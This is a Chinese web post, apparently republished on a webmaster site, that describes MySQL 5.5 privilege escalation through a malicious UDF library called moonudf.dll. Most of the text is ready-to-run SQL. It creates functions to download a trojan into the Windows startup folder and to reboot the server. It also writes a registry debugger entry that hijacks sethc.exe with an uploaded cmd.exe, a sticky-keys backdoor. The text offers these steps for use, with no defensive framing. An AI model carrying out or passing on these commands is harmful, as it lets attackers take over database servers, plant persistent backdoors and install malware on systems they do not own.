mysql 5.5 提权_MYSQL5

针对这个帖子 ，，给出利用方法如下

MYSQL5.5如果没有LIB目录权限允许的情况下，可以新建,在此帖子中可以正常导出DLL，

但是执行CMDSHELL的时候，执行出错，我们在这里有两个方法可以考虑

1、利用downloader函数，下载一个木马或者脚本到启动项

Create Function downloader returns string soname ‘moonudf.dll’;

select downloader(“”,”C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.exe“);

然后利用SHUT函数重启服务器

create function shut returns string soname ‘moonudf.dll’

select shut(‘reboot’);

但是在这个SHELL中mysql提权，无法下载到启动项没有权限。

2、利用 regwrite和 regread函数劫持Sethc.exe

. Create Function regread returns string soname ‘moonudf.dll’;

Select regread(“HKEY_LOCAL_MACHINE”,”SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe”,”debugger”)

可以看到已经被劫持了，我们重新写入注册表，首先上传我们的CMD.EXE

利用regwrite写入

①Create Function regwrite returns string soname ‘moonudf.dll’;

②select regwrite(“HKEY_LOCAL_MACHINE”,”SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe”,”debugger”,”REG_SZ”,”C:\\tmp\\cmd.exe”);

登陆服务器

（编辑：晋中站长网）

【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容!